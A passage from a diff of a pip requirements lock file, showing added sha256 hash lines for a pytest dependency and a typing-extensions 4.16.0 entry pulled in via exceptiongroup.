--hash=sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac \ + --hash=sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8 \ + --hash=sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232 \ + --hash=sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece \ + --hash=sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a \ + --hash=sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897 \ + --hash=sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d \ + --hash=sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4 \ + --hash=sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917 \ + --hash=sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396 \ + --hash=sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a \ + --hash=sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc \ + --hash=sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba \ + --hash=sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f \ + --hash=sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257 \ + --hash=sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30 \ + --hash=sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf \ + --hash=sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9 \ + --hash=sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049 + # via pytest +typing-extensions==4.16.0 ; python_full_version < '3.11' \ + --hash=sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8 \ + --hash=sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5 + # via exceptiongroup